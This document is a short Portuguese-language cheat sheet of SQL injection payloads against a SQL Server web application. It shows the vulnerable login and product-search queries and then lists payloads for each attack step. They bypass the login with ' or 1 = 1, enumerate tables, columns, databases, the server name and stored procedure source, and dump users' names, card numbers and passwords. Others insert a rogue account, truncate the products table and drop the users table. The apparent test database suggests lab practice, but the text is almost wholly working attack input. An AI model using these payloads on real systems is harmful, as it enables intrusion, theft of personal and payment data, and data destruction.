**SQL INJECTION IN SQL SERVER**

**Queries Utilizadas na Aplicação**

SELECT name FROM users WHERE uname = '[string]' AND pass = '[string]'

SELECT name AS 'Produto', price AS 'Preço' FROM products WHERE name LIKE '% [string] %'

1. **Entrando no sistema**

' or 1 = 1 --

' or 2 = 2 AND uname != 'bob' AND uname != 'caio' --

1. **Todas tabelas do banco rodando**

njjk' UNION SELECT table\_name, 11 FROM INFORMATION\_SCHEMA.TABLES --

1. **Buscando nome das colunas**

njjk' UNION SELECT COLUMN\_NAME, 99 FROM INFORMATION\_SCHEMA.COLUMNS WHERE TABLE\_NAME = 'users'--

1. **Buscando informaçoes pessoais**

njjk' UNION SELECT name + ' ' + cc +' ' + pass, 10 FROM users --

1. **Inserindo uma conta**

';INSERT INTO users (uname, pass) VALUES ('hacked2', 'pass') --

1. **Apagando dados da tabela**

'; TRUNCATE TABLE products--

1. **Inserindo produtos**

'; INSERT INTO products (name, price) VALUES ('Hacked', 99999)--

1. **Versao do banco**

njjk' UNION SELECT @@VERSION, 2 --

1. **Todos bancos e o ano de criaçao**

njjk' UNION SELECT name, Year(create\_date) FROM sys.databases --

1. **Nome da maquina**

njjk' UNION SELECT @@SERVERNAME, 99 FROM sys.databases --

1. **Código-fonte da procedure**

njjk' UNION SELECT ROUTINE\_DEFINITION, 99 FROM db\_testSqlInjection.information\_schema.routines WHERE routine\_type = 'PROCEDURE'--

1. **Apagando tabela**

' ; DROP TABLE users--